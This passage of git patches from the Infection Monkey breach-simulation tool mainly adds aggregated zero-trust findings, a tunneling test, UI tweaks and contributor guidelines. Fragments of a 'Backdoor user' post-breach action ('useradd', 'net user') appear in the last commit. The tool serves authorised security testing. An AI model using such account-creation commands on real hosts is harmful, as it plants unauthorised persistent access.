    • - {"\t"}The test was executed, but manual verification is required to determine the results. + {"\t"}The test ran; manual verification is required to determine the results.
    • - {"\t"}This status means the test passed 🙂 + {"\t"}The test passed, so this is OK 🙂
    • - {"\t"}This status means the test wasn't executed. Some of the tests can be activated or deactivated using - the configuration. + {"\t"}This status means the test wasn't executed.
    +
    + Some of the tests can be activated using the configuration.
    ; } } From 1d5a4d20cee4a86713540819307b4c77174cd5af Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 11:29:04 +0300 Subject: [PATCH 180/276] Added aggregate finding --- .../cc/models/zero_trust/aggregate_finding.py | 23 ++++++++ .../cc/models/zero_trust/finding.py | 4 ++ .../zero_trust/test_aggregate_finding.py | 53 +++++++++++++++++++ 3 files changed, 80 insertions(+) create mode 100644 monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py create mode 100644 monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py diff --git a/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py new file mode 100644 index 000000000..613b9a4a2 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/aggregate_finding.py @@ -0,0 +1,23 @@ +from monkey_island.cc.models.zero_trust.finding import Finding + + +class AggregateFinding(Finding): + @staticmethod + def create_or_add_to_existing(test, status, events): + """ + Create a new finding or add the events to an existing one if it's the same (same meaning same status and same + test). + + :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not + when this function should be used. + """ + existing_findings = Finding.objects(test=test, status=status) + assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) + + if len(existing_findings) == 0: + Finding.save_finding(test, status, events) + else: + # Now we know for sure this is the only one + orig_finding = existing_findings[0] + orig_finding.add_events(events) + orig_finding.save() diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 4027690c8..441d22e3a 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -54,3 +54,7 @@ class Finding(Document): finding.save() return finding + + def add_events(self, events): + # type: (list) -> None + self.events.extend(events) diff --git a/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py new file mode 100644 index 000000000..b32e8ad53 --- /dev/null +++ b/monkey/monkey_island/cc/models/zero_trust/test_aggregate_finding.py @@ -0,0 +1,53 @@ +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestAggregateFinding(IslandTestCase): + def test_create_or_add_to_existing(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + test = TEST_MALICIOUS_ACTIVITY_TIMELINE + status = STATUS_INCONCLUSIVE + events = [Event.create_event("t", "t", EVENT_TYPE_ISLAND)] + self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + + def test_create_or_add_to_existing_2_tests_already_exist(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + test = TEST_MALICIOUS_ACTIVITY_TIMELINE + status = STATUS_INCONCLUSIVE + event = Event.create_event("t", "t", EVENT_TYPE_ISLAND) + events = [event] + self.assertEquals(len(Finding.objects(test=test, status=status)), 0) + + Finding.save_finding(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 1) + + AggregateFinding.create_or_add_to_existing(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 1) + self.assertEquals(len(Finding.objects(test=test, status=status)[0].events), 2) + + Finding.save_finding(test, status, events) + + self.assertEquals(len(Finding.objects(test=test, status=status)), 2) + + with self.assertRaises(AssertionError): + AggregateFinding.create_or_add_to_existing(test, status, events) From 1fddd4abbfd9f68654c987d8ea5e547affd93bd9 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 11:44:08 +0300 Subject: [PATCH 181/276] Made some findings aggregate findings to improve readability of Findings table. --- .../telemetry/zero_trust_tests/antivirus_existence.py | 6 ++++-- .../services/telemetry/zero_trust_tests/data_endpoints.py | 8 ++++---- .../telemetry/zero_trust_tests/machine_exploited.py | 3 ++- 3 files changed, 10 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py index acfdf1643..5795a2773 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/antivirus_existence.py @@ -3,8 +3,8 @@ import json from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_ISLAND, \ STATUS_PASSED, STATUS_FAILED, TEST_ENDPOINT_SECURITY_EXISTS from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.telemetry.zero_trust_tests.known_anti_viruses import ANTI_VIRUS_KNOWN_PROCESS_NAMES @@ -31,7 +31,9 @@ def test_antivirus_existence(telemetry_json): test_status = STATUS_PASSED else: test_status = STATUS_FAILED - Finding.save_finding(test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events) + AggregateFinding.create_or_add_to_existing( + test=TEST_ENDPOINT_SECURITY_EXISTS, status=test_status, events=events + ) def filter_av_processes(telemetry_json): diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 65d044b19..be240f150 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -2,8 +2,8 @@ import json from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] @@ -54,19 +54,19 @@ def test_open_data_endpoints(telemetry_json): event_type=EVENT_TYPE_ISLAND )) - Finding.save_finding( + AggregateFinding.create_or_add_to_existing( test=TEST_DATA_ENDPOINT_HTTP, status=found_http_server_status, events=events ) - Finding.save_finding( + AggregateFinding.create_or_add_to_existing( test=TEST_DATA_ENDPOINT_ELASTIC, status=found_elastic_search_server, events=events ) - Finding.save_finding( + AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, status=STATUS_INCONCLUSIVE, events=events diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index d4f8c53c1..d6416c0ef 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -1,5 +1,6 @@ from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding @@ -39,7 +40,7 @@ def test_machine_exploited(telemetry_json): events=events ) - Finding.save_finding( + AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, status=STATUS_INCONCLUSIVE, events=events From 3f2d5b1479b9845541e7ff6c4eeddb696da324ab Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 12:08:58 +0300 Subject: [PATCH 182/276] Aggregate passed exploit attempts tests (which means failed exploiting) --- .../zero_trust_tests/machine_exploited.py | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index d6416c0ef..1afe8bfe1 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -34,11 +34,19 @@ def test_machine_exploited(telemetry_json): ) status = STATUS_FAILED - Finding.save_finding( - test=TEST_MACHINE_EXPLOITED, - status=status, - events=events - ) + # aggregate only passed tests (which means exploit failed). Each successful exploit gets its own finding. + if status == STATUS_FAILED: + Finding.save_finding( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) + else: + AggregateFinding.create_or_add_to_existing( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, From e7953defdcc2ffb34d8ed37bc7a54147c2b89aa5 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 12:09:26 +0300 Subject: [PATCH 183/276] Now that findings are aggregated, added events amount counter badge --- .../zerotrust/EventsButton.js | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js index 33c6a2384..66f1ae3d3 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/zerotrust/EventsButton.js @@ -1,9 +1,7 @@ -import React, {Component} from "react"; +import React, {Component, Fragment} from "react"; import EventsModal from "./EventsModal"; -import {Button} from "react-bootstrap"; -import FileSaver from "file-saver"; +import {Badge, Button} from "react-bootstrap"; import * as PropTypes from "prop-types"; -import ExportEventsButton from "./ExportEventsButton"; export default class EventsButton extends Component { constructor(props) { @@ -22,16 +20,21 @@ export default class EventsButton extends Component { }; render() { - return ( -
    - + let eventsAmountBadge; + if (this.props.events.length > 10) { + eventsAmountBadge = 9+; + } else { + eventsAmountBadge = {this.props.events.length}; + } + return +
    -
    - ); + ; } } From f7d66e0ebc3d6ec8c71e1832b206ff825a9dd684 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 12:10:27 +0300 Subject: [PATCH 184/276] Realize the previous idea was stupid and aggregate all exploit attempts based on status alone --- .../zero_trust_tests/machine_exploited.py | 18 +++++------------- 1 file changed, 5 insertions(+), 13 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index 1afe8bfe1..ef300d82b 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -34,19 +34,11 @@ def test_machine_exploited(telemetry_json): ) status = STATUS_FAILED - # aggregate only passed tests (which means exploit failed). Each successful exploit gets its own finding. - if status == STATUS_FAILED: - Finding.save_finding( - test=TEST_MACHINE_EXPLOITED, - status=status, - events=events - ) - else: - AggregateFinding.create_or_add_to_existing( - test=TEST_MACHINE_EXPLOITED, - status=status, - events=events - ) + AggregateFinding.create_or_add_to_existing( + test=TEST_MACHINE_EXPLOITED, + status=status, + events=events + ) AggregateFinding.create_or_add_to_existing( test=TEST_MALICIOUS_ACTIVITY_TIMELINE, From 146c87c33814c426437195bd72ed6dab09256ffc Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 12:18:42 +0300 Subject: [PATCH 185/276] Optimize import --- .../cc/services/telemetry/zero_trust_tests/machine_exploited.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py index ef300d82b..57007cd09 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/machine_exploited.py @@ -2,7 +2,6 @@ from common.data.zero_trust_consts import * from monkey_island.cc.models import Monkey from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding def test_machine_exploited(telemetry_json): From f8ef243d048cf6757aeabdf34261ff78e5d74f45 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 14:09:42 +0300 Subject: [PATCH 186/276] Updated contrib.md to include info about UT name format and branch name format --- CONTRIBUTING.md | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 2744fac11..3e509077c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,11 +2,13 @@ Thanks for your interest in making the Monkey -- and therefore, your network -- a better place! -Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker](https://github.com/guardicore/monkey/issues). +Are you about to report a bug? Sorry to hear it. Here's our +[Issue tracker](https://github.com/guardicore/monkey/issues). Please try to be as specific as you can about your problem; try to include steps to reproduce. While we'll try to help anyway, focusing us will help us help you faster. -If you want to contribute new code or fix bugs.. +If you want to contribute new code or fix bugs, please read the following sections. You can also contact us (the +maintainers of this project) at our [Slack channel](https://join.slack.com/t/infectionmonkey/shared_invite/enQtNDU5MjAxMjg1MjU1LTM2ZTg0ZDlmNWNlZjQ5NDI5NTM1NWJlYTRlMGIwY2VmZGMxZDlhMTE2OTYwYmZhZjM1MGZhZjA2ZjI4MzA1NDk). ## Submitting code @@ -20,7 +22,17 @@ The following is a *short* list of recommendations. PRs that don't match these c * **Don't** leave your pull request description blank. * **Do** license your code as GPLv3. -Also, please submit PRs to the develop branch. +Also, please submit PRs to the `develop` branch. + +#### Unit tests +**Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same +filename, followed by the _test prefix. So for example: `somefile.py` will be tested by `somefile_test.py`. + +Please try to read some of the existing unit testing code, so you can see some examples. + +#### Branch naming scheme +**Do** name your branches in accordance with GitFlow. The format is `ISSUE_#/BRANCH_NAME`; For example, +`400/zero-trust-mvp` or `232/improvment/hide-linux-on-cred-maps`. ## Issues * **Do** write a detailed description of your bug and use a descriptive title. From 39437c59139d8db12c5452bd0de244d29d94937f Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 14:13:24 +0300 Subject: [PATCH 187/276] Rename existing test files in accordance to new naming scheme --- ...r_instance_data_from_aws_response.py => aws_service_test.py} | 2 +- .../{test_victim_host_telem.py => victim_host_telem_test.py} | 0 .../monkey_island/cc/models/{test_monkey.py => monkey_test.py} | 0 .../services/{test_PTHReportService.py => pth_report_test.py} | 0 4 files changed, 1 insertion(+), 1 deletion(-) rename monkey/common/cloud/{test_filter_instance_data_from_aws_response.py => aws_service_test.py} (97%) rename monkey/infection_monkey/telemetry/attack/{test_victim_host_telem.py => victim_host_telem_test.py} (100%) rename monkey/monkey_island/cc/models/{test_monkey.py => monkey_test.py} (100%) rename monkey/monkey_island/cc/services/{test_PTHReportService.py => pth_report_test.py} (100%) diff --git a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py b/monkey/common/cloud/aws_service_test.py similarity index 97% rename from monkey/common/cloud/test_filter_instance_data_from_aws_response.py rename to monkey/common/cloud/aws_service_test.py index 8aec518d3..699e2c489 100644 --- a/monkey/common/cloud/test_filter_instance_data_from_aws_response.py +++ b/monkey/common/cloud/aws_service_test.py @@ -7,7 +7,7 @@ import json __author__ = 'shay.nehmad' -class TestFilter_instance_data_from_aws_response(TestCase): +class TestFilterInstanceDataFromAwsResponse(TestCase): def test_filter_instance_data_from_aws_response(self): json_response_full = """ { diff --git a/monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py similarity index 100% rename from monkey/infection_monkey/telemetry/attack/test_victim_host_telem.py rename to monkey/infection_monkey/telemetry/attack/victim_host_telem_test.py diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/monkey_test.py similarity index 100% rename from monkey/monkey_island/cc/models/test_monkey.py rename to monkey/monkey_island/cc/models/monkey_test.py diff --git a/monkey/monkey_island/cc/services/test_PTHReportService.py b/monkey/monkey_island/cc/services/pth_report_test.py similarity index 100% rename from monkey/monkey_island/cc/services/test_PTHReportService.py rename to monkey/monkey_island/cc/services/pth_report_test.py From 7f543d675d07059a333d675878e510eaf95424ad Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 15:04:23 +0300 Subject: [PATCH 188/276] Fixed typo --- CONTRIBUTING.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 3e509077c..035eb0124 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -26,7 +26,7 @@ Also, please submit PRs to the `develop` branch. #### Unit tests **Do** add unit tests if you think it fits. We place our unit tests in the same folder as the code, with the same -filename, followed by the _test prefix. So for example: `somefile.py` will be tested by `somefile_test.py`. +filename, followed by the _test suffix. So for example: `somefile.py` will be tested by `somefile_test.py`. Please try to read some of the existing unit testing code, so you can see some examples. From 1550742d4d46bf92b3fd5ad06ce424a4c783bcd1 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 15:40:29 +0300 Subject: [PATCH 189/276] Added tunneling zero trust test --- monkey/common/data/zero_trust_consts.py | 17 ++++++++-- .../services/telemetry/processing/tunnel.py | 5 ++- .../cc/services/telemetry/processing/utils.py | 5 +++ .../telemetry/zero_trust_tests/tunneling.py | 31 +++++++++++++++++++ 4 files changed, 55 insertions(+), 3 deletions(-) create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 18c02e818..3cf9cda92 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -29,6 +29,7 @@ TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists" TEST_SCHEDULED_EXECUTION = u"scheduled_execution" TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline" TEST_SEGMENTATION = u"segmentation" +TEST_TUNNELING = u"tunneling" TESTS = ( TEST_SEGMENTATION, TEST_MALICIOUS_ACTIVITY_TIMELINE, @@ -36,7 +37,8 @@ TESTS = ( TEST_ENDPOINT_SECURITY_EXISTS, TEST_MACHINE_EXPLOITED, TEST_DATA_ENDPOINT_HTTP, - TEST_DATA_ENDPOINT_ELASTIC + TEST_DATA_ENDPOINT_ELASTIC, + TEST_TUNNELING ) RECOMMENDATION_DATA_TRANSIT = u"data_transit" @@ -44,12 +46,14 @@ RECOMMENDATION_ENDPOINT_SECURITY = u"endpoint_security" RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour" RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" RECOMMENDATION_SEGMENTATION = u"segmentation" +RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" RECOMMENDATIONS = { RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", - RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it." + RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.", + RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible." } POSSIBLE_STATUSES_KEY = u"possible_statuses" @@ -127,6 +131,15 @@ TESTS_MAP = { PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, + TEST_TUNNELING: { + TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey was tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them." + }, + RECOMMENDATION_KEY: RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] + }, } EVENT_TYPE_ISLAND = "island" diff --git a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py index ed57f3c7b..1598b144a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/tunnel.py @@ -1,10 +1,13 @@ from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field +from monkey_island.cc.services.telemetry.zero_trust_tests.tunneling import test_tunneling_violation def process_tunnel_telemetry(telemetry_json): + test_tunneling_violation(telemetry_json) monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] if telemetry_json['data']['proxy'] is not None: - tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json) NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip) else: NodeService.unset_all_monkey_tunnels(monkey_id) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py index 9bafb505f..466b81bf1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/utils.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py @@ -11,3 +11,8 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json): dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) + + +def get_tunnel_host_ip_from_proxy_field(telemetry_json): + tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") + return tunnel_host_ip diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py new file mode 100644 index 000000000..2c9be5e1f --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/tunneling.py @@ -0,0 +1,31 @@ +from common.data.zero_trust_consts import TEST_TUNNELING, STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_INCONCLUSIVE, \ + TEST_MALICIOUS_ACTIVITY_TIMELINE +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event +from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field + + +def test_tunneling_violation(tunnel_telemetry_json): + if tunnel_telemetry_json['data']['proxy'] is not None: + # Monkey is tunneling, create findings + tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json) + current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json['monkey_guid']) + tunneling_events = [Event.create_event( + title="Tunneling event", + message="Monkey on {hostname} tunneled traffic through {proxy}.".format( + hostname=current_monkey.hostname, proxy=tunnel_host_ip), + event_type=EVENT_TYPE_MONKEY_NETWORK, + timestamp=tunnel_telemetry_json['timestamp'] + )] + AggregateFinding.create_or_add_to_existing( + test=TEST_TUNNELING, + status=STATUS_FAILED, + events=tunneling_events + ) + + AggregateFinding.create_or_add_to_existing( + test=TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=STATUS_INCONCLUSIVE, + events=tunneling_events + ) From 68c0f590ac1c335973328820462cb3f4a4d8d967 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Sun, 1 Sep 2019 16:17:22 +0300 Subject: [PATCH 190/276] Removing the refresh data interval when leaving report page --- .../cc/ui/src/components/pages/ZeroTrustReportPage.js | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js index 7ca40bd5f..cec603f0e 100755 --- a/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ZeroTrustReportPage.js @@ -8,11 +8,9 @@ import SinglePillarRecommendationsStatus from "../report-components/zerotrust/Si import MonkeysStillAliveWarning from "../report-components/common/MonkeysStillAliveWarning"; import ReportLoader from "../report-components/common/ReportLoader"; import MustRunMonkeyWarning from "../report-components/common/MustRunMonkeyWarning"; -import StatusesToPillarsSummary from "../report-components/zerotrust/StatusesToPillarsSummary"; import PrintReportButton from "../report-components/common/PrintReportButton"; import {extractExecutionStatusFromServerResponse} from "../report-components/common/ExecutionStatus"; import ZeroTrustReportLegend from "../report-components/zerotrust/ReportLegend"; -import {ZeroTrustStatuses} from "../report-components/zerotrust/ZeroTrustPillars"; class ZeroTrustReportPageComponent extends AuthComponent { @@ -27,7 +25,14 @@ class ZeroTrustReportPageComponent extends AuthComponent { componentDidMount() { this.updatePageState(); - setInterval(this.updatePageState, 8000) + const refreshInterval = setInterval(this.updatePageState, 8000) + this.setState( + {refreshDataIntervalHandler: refreshInterval} + ) + } + + componentWillUnmount() { + clearInterval(this.state.refreshDataIntervalHandler); } updateMonkeysRunning = () => { From 98764f0291d43e2450f90f1ff82013e2b7304456 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Mon, 2 Sep 2019 10:07:26 +0300 Subject: [PATCH 191/276] Added post breach processing dict and extracted consts to common --- monkey/common/data/post_breach_consts.py | 2 ++ .../infection_monkey/post_breach/actions/add_user.py | 5 +++-- .../post_breach/actions/users_custom_pba.py | 3 ++- .../cc/services/telemetry/processing/post_breach.py | 10 ++++++++++ 4 files changed, 17 insertions(+), 3 deletions(-) create mode 100644 monkey/common/data/post_breach_consts.py diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py new file mode 100644 index 000000000..8262757ca --- /dev/null +++ b/monkey/common/data/post_breach_consts.py @@ -0,0 +1,2 @@ +POST_BREACH_BACKDOOR_USER = "Backdoor user" +POST_BREACH_FILE_EXECUTION = "File execution" diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index ff7ae3a50..ce05371a6 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -1,8 +1,9 @@ import datetime + +from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER from infection_monkey.post_breach.pba import PBA from infection_monkey.config import WormConfiguration - __author__ = 'danielg' LINUX_COMMANDS = ['useradd', '-M', '--expiredate', @@ -16,6 +17,6 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, class BackdoorUser(PBA): def __init__(self): - super(BackdoorUser, self).__init__("Backdoor user", + super(BackdoorUser, self).__init__(POST_BREACH_BACKDOOR_USER, linux_cmd=' '.join(LINUX_COMMANDS), windows_cmd=WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index a388813ab..468a2b29b 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -1,6 +1,7 @@ import os import logging +from common.data.post_breach_consts import POST_BREACH_FILE_EXECUTION from infection_monkey.utils import is_windows_os from infection_monkey.post_breach.pba import PBA from infection_monkey.control import ControlClient @@ -27,7 +28,7 @@ class UsersPBA(PBA): Defines user's configured post breach action. """ def __init__(self): - super(UsersPBA, self).__init__("File execution") + super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) self.filename = '' if not is_windows_os(): # Add linux commands to PBA's diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index b086d5ff4..2515c2d30 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,7 +1,17 @@ from monkey_island.cc.database import mongo +from common.data.post_breach_consts import * + +POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { + # `lambda *args, **kwargs: None` is a no-op. + POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None, + POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None, +} def process_post_breach_telemetry(telemetry_json): mongo.db.monkey.update( {'guid': telemetry_json['monkey_guid']}, {'$push': 